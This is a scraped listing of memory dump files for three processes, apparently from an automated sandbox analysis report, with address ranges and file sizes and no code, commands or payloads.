memory/3464-44-0x0000000008E80000-0x0000000009424000-memory.dmpFilesize
5.6MB
-
memory/3464-45-0x0000000007EF0000-0x0000000007F12000-memory.dmpFilesize
136KB
-
memory/3464-46-0x0000000007F90000-0x0000000007FA4000-memory.dmpFilesize
80KB
-
memory/3464-21-0x0000000005A20000-0x0000000006048000-memory.dmpFilesize
6.2MB
-
memory/3464-48-0x0000000074990000-0x0000000075140000-memory.dmpFilesize
7.7MB
-
memory/3464-49-0x0000000003080000-0x0000000003090000-memory.dmpFilesize
64KB
-
memory/3464-51-0x0000000003080000-0x0000000003090000-memory.dmpFilesize
64KB
-
memory/3464-22-0x0000000006080000-0x00000000060A2000-memory.dmpFilesize
136KB
-
memory/3464-53-0x0000000006200000-0x0000000006201000-memory.dmpFilesize
4KB
-
memory/3464-54-0x0000000009430000-0x000000000B291000-memory.dmpFilesize
30.4MB
-
memory/3464-55-0x0000000009430000-0x000000000B291000-memory.dmpFilesize
30.4MB
-
memory/3464-56-0x0000000009430000-0x000000000B291000-memory.dmpFilesize
30.4MB
-
memory/3464-57-0x00000000773B1000-0x00000000774D1000-memory.dmpFilesize
1.1MB
-
memory/3464-23-0x0000000006120000-0x0000000006186000-memory.dmpFilesize
408KB
-
memory/3464-24-0x0000000006190000-0x00000000061F6000-memory.dmpFilesize
408KB
-
memory/3464-34-0x00000000062C0000-0x0000000006614000-memory.dmpFilesize
3.3MB
-
memory/3464-35-0x0000000006930000-0x000000000694E000-memory.dmpFilesize
120KB
-
memory/3464-36-0x0000000006960000-0x00000000069AC000-memory.dmpFilesize
304KB
-
memory/3464-75-0x0000000074990000-0x0000000075140000-memory.dmpFilesize
7.7MB
-
memory/3464-76-0x0000000009430000-0x000000000B291000-memory.dmpFilesize
30.4MB
-
memory/3612-9-0x00000176F4FB0000-0x00000176F4FD2000-memory.dmpFilesize
136KB
-
memory/3612-47-0x00000176F5030000-0x00000176F5040000-memory.dmpFilesize
64KB
-
memory/3612-16-0x00000176F5030000-0x00000176F5040000-memory.dmpFilesize
64KB
-
memory/3612-37-0x00007FFC20E20000-0x00007FFC218E1000-memory.dmpFilesize
10.8MB
-
memory/3612-14-0x00007FFC20E20000-0x00007FFC218E1000-memory.dmpFilesize
10.8MB
-
memory/3612-84-0x00007FFC20E20000-0x00007FFC218E1000-memory.dmpFilesize
10.8MB
-
memory/3612-43-0x00000176F5030000-0x00000176F5040000-memory.dmpFilesize
64KB
-
memory/3612-15-0x00000176F5030000-0x00000176F5040000-memory.dmpFilesize
64KB
-
memory/5440-60-0x00000000773B1000-0x00000000774D1000-memory.dmpFilesize
1.1MB
-
memory/5440-79-0x0000000000400000-0x00000000005E4000-memory.dmpFilesize
1.9MB
-
memory/5440-80-0x000000001EB60000-0x000000001EB74000-memory.dmpFilesize
80KB
-
memory/5440-58-0x00000000012C0000-0x0000000003121000-memory.dmpFilesize
30.4MB
-
memory/5440-77-0x00000000012C0000-0x0000000003121000-memory.dmpFilesize
30.4MB
-
memory/5440-78-0x000000001F060000-0x000000001F3AA000-memory.dmpFilesize
3.3MB
-
memory/5440-74-0x0000000000400000-0x00000000005E4000-memory.dmpFilesize
1.9MB
-
memory/5440-59-0x00000000773B1000-0x00000000774D1000-memory.dmpFilesize
1.1MB
-
memory/5440-91-0x00000000012C0000-0x0000000003121000-memory.dmpFilesize
30.4MB
-
memory/5440-61-0x0000000077438000-0x0000000077439000-memory.dmpFilesize
4KB